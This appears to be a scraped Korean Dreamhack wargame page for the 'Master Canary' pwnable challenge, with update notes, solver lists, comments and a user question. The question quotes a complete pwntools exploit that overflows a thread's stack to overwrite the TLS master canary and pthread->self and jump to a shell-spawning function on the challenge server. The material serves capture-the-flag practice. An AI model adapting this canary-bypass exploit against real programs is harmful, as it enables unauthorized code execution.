LEVEL 3

Master Canary

pwnable
  • 문제 정보
  • 풀이 31
  • 난이도 투표 49
  • 질문 7
  • 최근 풀이자 517
  • 댓글 23

문제 설명

Description

Exploit Tech: Master Canary에서 실습하는 문제입니다.

Challenge Updates

2023.05.08: Dockerfile이 제공됩니다.
2023.05.26: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Aiden
대표 업적 없음
출제된 지 4시간 만에 풀이 완료!

난이도 투표 49

질문 5

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
send 여러 보내는 것과 한번 보내는 것의 차이가 궁금합니다.
아래처럼 p.send 호출할 때 하나의 payload 를 만들어서 호출하면 서버에 제출 시 쉘 획득이 되는데, from pwn import * d = 0x7f0 p = process("./mc_thread") p = remote("host3.dreamhack.games", 21778) p = remote("localhost", 7182) p_elf = ELF("./mc_thread") p.sendlineafter(b"Size: ", str( (0x110 + d + 0x28 + 8) // 8).encode()) p.recvuntil(b"Data: ") payload = b"A" * 0x110 payload += b"A" * 8 payload += p64(p_elf.symbols["giveshell"]) payload += b"A" * (d - 0x10) payload += b"A" * 0x10 payload += p64(0x404800 - 0x972) payload += b"A" * 0x18 p.send(payload) p.sendline(b"ls") recved = p.recv(100) info(f"received: {recved}") if b"smash" in recved: raise RuntimeError("Smash detected") success(f"0x{d:x}: Success") p.interactive() 제공된 소스코드에 read가 여러번 나눠서 받아 아래처럼 send를 똑같은 수만큼 나눠서 전송하면 p.recv(100) 에서 EOFError 가 나는데 이유가 무엇인지 궁금합니다. from pwn import * d = 0x7f0 p = process("./mc_thread") p = remote("host3.dreamhack.games", 21778) p = remote("localhost", 7182) p_elf = ELF("./mc_thread") p.sendlineafter(b"Size: ", str( (0x110 + d + 0x28 + 8) // 8).encode()) p.recvuntil(b"Data: ") for i in range(0x100 // 8): p.send(b"A" * 8) p.send(b"A" * 8) # rbp - 0x10 p.send(b"A" * 8) # rbp - 0x8(cnry) p.send(b"A" * 8) # rbp(sfp) p.send(p64(p_elf.symbols["giveshell"])) for i in range((d - 0x10) // 8): p.send(b"A"*8) p.send(b"A" * 8) p.send(b"A" * 8) p.send(p64(0x404800 - 0x972)) # pthread->self p.send(b"A" * 8) p.send(b"A" * 8) p.send(b"A" * 8) # master canary overwrite p.sendline(b"ls") recved = p.recv(100) info(f"received: {recved}") if b"smash" in recved: raise RuntimeError("Smash detected") success(f"0x{d:x}: Success") p.interactive() 근데 또 이상한건 서버에 제출하면 안되는데, 제공된 Dockerfile로 Docker 환경 구축해서 제출(p = remote("localhost", 7182)) 혹은 로컬 환경(p = process("./mc_thread"))에서 실행하면 정상적으로 동작합니다...
뭐야

최근 풀이자 517

avatar
tyler_pwn
대표 업적 없음
avatar
poppo25
휴머노이드
bintable
워게임 고인물
톰크루준
대표 업적 없음
do1e
강의 수강: 1
mermaid
강의 수강: 10
HeatMan
대표 업적 없음
hs_K
시스템 해킹 입문
RIngOfUk
대표 업적 없음
KalioNix
워게임: 1

댓글 23

avatar
poppo25
휴머노이드
MTU 줄이니까 되네요
고기
대표 업적 없음
이게 2단계?
avatar
사용자
해결사
좋은 연습문제입니다. 중간에 함정이 하나 있네요
avatar
KnightChaser
공부벌레
이게 도대체 어딜 봐서 Level. 2 짜리 문제인거죠?
avatar
MerryBerry
대표 업적 없음
몇 시간을 날린거야...
avatar
is07king
워게임: 1
좀 이상한데..
avatar
Rosieblue
워게임 고인물
업데이트 이후 버전이랑 전 버전이랑 난이도 차이나는듯. 그리고 오프셋 주의!
avatar
Newb1e
워게임 풀이: 1
Select your padding contents "CAREFULLY", or SEGV.
avatar
연님
답변 등록: 1
:()
avatar
J-jaeyoung
워게임 풀이: 20
¯\_(ツ)_/¯